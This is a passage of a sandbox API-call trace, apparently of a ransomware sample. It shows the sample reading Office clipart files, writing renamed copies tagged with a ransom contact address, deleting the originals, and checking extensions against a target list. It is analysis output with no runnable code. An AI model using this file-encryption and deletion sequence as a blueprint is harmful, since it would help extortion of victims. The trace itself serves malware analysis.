	[0087.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0087.630] lstrlenW (lpString=".jpg") returned 4
	[0087.630] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.630] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0087.630] lstrlenW (lpString="BS00440_.WMF") returned 12
	[0087.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0088.796] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=5580) returned 1
	[0088.796] CloseHandle (hObject=0x324) returned 1
	[0088.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf")) returned 0x220
	[0088.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0088.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0088.796] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.796] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0088.797] GetLastError () returned 0x0
	[0088.797] ReadFile (in: hFile=0x324, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x15cc, lpOverlapped=0x0) returned 1
	[0088.798] WriteFile (in: hFile=0x394, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x15d0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x15d0, lpOverlapped=0x0) returned 1
	[0088.799] ReadFile (in: hFile=0x324, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.799] WriteFile (in: hFile=0x394, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.799] SetEndOfFile (hFile=0x394) returned 1
	[0088.800] CloseHandle (hObject=0x394) returned 1
	[0088.800] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.800] SetEndOfFile (hFile=0x324) returned 1
	[0088.801] CloseHandle (hObject=0x324) returned 1
	[0088.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0088.802] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf")) returned 1
	[0088.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0088.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0088.802] lstrlenW (lpString=".doc") returned 4
	[0088.802] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.802] lstrlenW (lpString=".docx") returned 5
	[0088.802] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.802] lstrlenW (lpString=".pdf") returned 4
	[0088.802] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.802] lstrlenW (lpString=".xls") returned 4
	[0088.802] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.802] lstrlenW (lpString=".xlsx") returned 5
	[0088.802] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.802] lstrlenW (lpString=".ppt") returned 4
	[0088.802] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0088.802] lstrlenW (lpString=".zip") returned 4
	[0088.802] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.802] lstrlenW (lpString=".rar") returned 4
	[0088.802] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.802] lstrlenW (lpString=".bz2") returned 4
	[0088.802] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.802] lstrlenW (lpString=".7z") returned 3
	[0088.802] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0088.803] lstrlenW (lpString=".dbf") returned 4
	[0088.803] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0088.803] lstrlenW (lpString=".1cd") returned 4
	[0088.803] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0088.803] lstrlenW (lpString=".jpg") returned 4
	[0088.803] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0088.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0088.803] lstrlenW (lpString=".doc") returned 4
	[0088.803] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.803] lstrlenW (lpString=".docx") returned 5
	[0088.803] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.803] lstrlenW (lpString=".pdf") returned 4
	[0088.803] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.803] lstrlenW (lpString=".xls") returned 4
	[0088.803] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.803] lstrlenW (lpString=".xlsx") returned 5
	[0088.803] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.803] lstrlenW (lpString=".ppt") returned 4
	[0088.803] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0088.803] lstrlenW (lpString=".zip") returned 4
	[0088.803] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.803] lstrlenW (lpString=".rar") returned 4
	[0088.803] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.803] lstrlenW (lpString=".bz2") returned 4
	[0088.803] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.803] lstrlenW (lpString=".7z") returned 3
	[0088.803] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0088.803] lstrlenW (lpString=".dbf") returned 4
	[0088.803] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0088.804] lstrlenW (lpString=".1cd") returned 4
	[0088.804] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 68
	[0088.804] lstrlenW (lpString=".jpg") returned 4
	[0088.804] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.804] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0088.804] lstrlenW (lpString="BS00444_.WMF") returned 12
	[0088.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0088.805] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=3896) returned 1
	[0088.805] CloseHandle (hObject=0x324) returned 1
	[0088.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf")) returned 0x220
	[0088.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0088.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0088.805] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.805] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0088.805] GetLastError () returned 0x0
	[0088.805] ReadFile (in: hFile=0x324, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0xf38, lpOverlapped=0x0) returned 1
	[0088.807] WriteFile (in: hFile=0x394, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xf40, lpOverlapped=0x0) returned 1
	[0088.808] ReadFile (in: hFile=0x324, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.808] WriteFile (in: hFile=0x394, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.808] SetEndOfFile (hFile=0x394) returned 1
	[0088.808] CloseHandle (hObject=0x394) returned 1
	[0088.809] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.809] SetEndOfFile (hFile=0x324) returned 1
	[0088.809] CloseHandle (hObject=0x324) returned 1
	[0088.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0088.810] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf")) returned 1
	[0088.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0088.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0088.810] lstrlenW (lpString=".doc") returned 4
	[0088.810] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.810] lstrlenW (lpString=".docx") returned 5
	[0088.810] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.810] lstrlenW (lpString=".pdf") returned 4
	[0088.810] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.810] lstrlenW (lpString=".xls") returned 4
	[0088.810] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.810] lstrlenW (lpString=".xlsx") returned 5
	[0088.810] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.810] lstrlenW (lpString=".ppt") returned 4
	[0088.810] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0088.810] lstrlenW (lpString=".zip") returned 4
	[0088.810] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.810] lstrlenW (lpString=".rar") returned 4
	[0088.810] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.811] lstrlenW (lpString=".bz2") returned 4
	[0088.811] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.811] lstrlenW (lpString=".7z") returned 3
	[0088.811] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0088.811] lstrlenW (lpString=".dbf") returned 4
	[0088.811] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0088.811] lstrlenW (lpString=".1cd") returned 4
	[0088.811] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0088.811] lstrlenW (lpString=".jpg") returned 4
	[0088.811] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0088.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0088.811] lstrlenW (lpString=".doc") returned 4
	[0088.811] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.811] lstrlenW (lpString=".docx") returned 5
	[0088.811] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.811] lstrlenW (lpString=".pdf") returned 4
	[0088.811] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.811] lstrlenW (lpString=".xls") returned 4
	[0088.811] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.811] lstrlenW (lpString=".xlsx") returned 5
	[0088.811] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.811] lstrlenW (lpString=".ppt") returned 4
	[0088.811] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0088.811] lstrlenW (lpString=".zip") returned 4
	[0088.811] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.811] lstrlenW (lpString=".rar") returned 4
	[0088.811] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.811] lstrlenW (lpString=".bz2") returned 4
	[0088.811] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.811] lstrlenW (lpString=".7z") returned 3
	[0088.811] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0088.812] lstrlenW (lpString=".dbf") returned 4
	[0088.812] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0088.812] lstrlenW (lpString=".1cd") returned 4
	[0088.812] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0088.812] lstrlenW (lpString=".jpg") returned 4
	[0088.812] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.812] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0088.812] lstrlenW (lpString="BS00445_.WMF") returned 12
	[0088.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0088.813] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=3796) returned 1
	[0088.813] CloseHandle (hObject=0x324) returned 1
	[0088.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf")) returned 0x220
	[0088.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0088.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0088.813] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.813] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0088.813] GetLastError () returned 0x0
	[0088.813] ReadFile (in: hFile=0x324, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0xed4, lpOverlapped=0x0) returned 1
	[0088.815] WriteFile (in: hFile=0x394, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xee0, lpOverlapped=0x0) returned 1
	[0088.816] ReadFile (in: hFile=0x324, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.816] WriteFile (in: hFile=0x394, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.816] SetEndOfFile (hFile=0x394) returned 1
	[0088.816] CloseHandle (hObject=0x394) returned 1
	[0088.819] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.819] SetEndOfFile (hFile=0x324) returned 1
	[0088.821] CloseHandle (hObject=0x324) returned 1
	[0088.821] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0088.821] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf")) returned 1
	[0088.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0088.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0088.821] lstrlenW (lpString=".doc") returned 4
	[0088.821] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.821] lstrlenW (lpString=".docx") returned 5
	[0088.821] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.821] lstrlenW (lpString=".pdf") returned 4
	[0088.821] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.821] lstrlenW (lpString=".xls") returned 4
	[0088.821] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.821] lstrlenW (lpString=".xlsx") returned 5
	[0088.821] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.821] lstrlenW (lpString=".ppt") returned 4
	[0088.821] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0088.821] lstrlenW (lpString=".zip") returned 4
	[0088.822] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.822] lstrlenW (lpString=".rar") returned 4
	[0088.822] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.822] lstrlenW (lpString=".bz2") returned 4
	[0088.822] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.822] lstrlenW (lpString=".7z") returned 3
	[0088.822] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0088.822] lstrlenW (lpString=".dbf") returned 4
	[0088.822] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0088.822] lstrlenW (lpString=".1cd") returned 4
	[0088.822] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0088.822] lstrlenW (lpString=".jpg") returned 4
	[0088.822] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0088.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0088.822] lstrlenW (lpString=".doc") returned 4
	[0088.822] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.822] lstrlenW (lpString=".docx") returned 5
	[0088.822] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.822] lstrlenW (lpString=".pdf") returned 4
	[0088.822] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.822] lstrlenW (lpString=".xls") returned 4
	[0088.822] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.822] lstrlenW (lpString=".xlsx") returned 5
	[0088.822] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.822] lstrlenW (lpString=".ppt") returned 4
	[0088.822] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0088.822] lstrlenW (lpString=".zip") returned 4
	[0088.822] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.822] lstrlenW (lpString=".rar") returned 4
	[0088.822] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.823] lstrlenW (lpString=".bz2") returned 4
	[0088.823] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.823] lstrlenW (lpString=".7z") returned 3
	[0088.823] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0088.823] lstrlenW (lpString=".dbf") returned 4
	[0088.823] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0088.823] lstrlenW (lpString=".1cd") returned 4
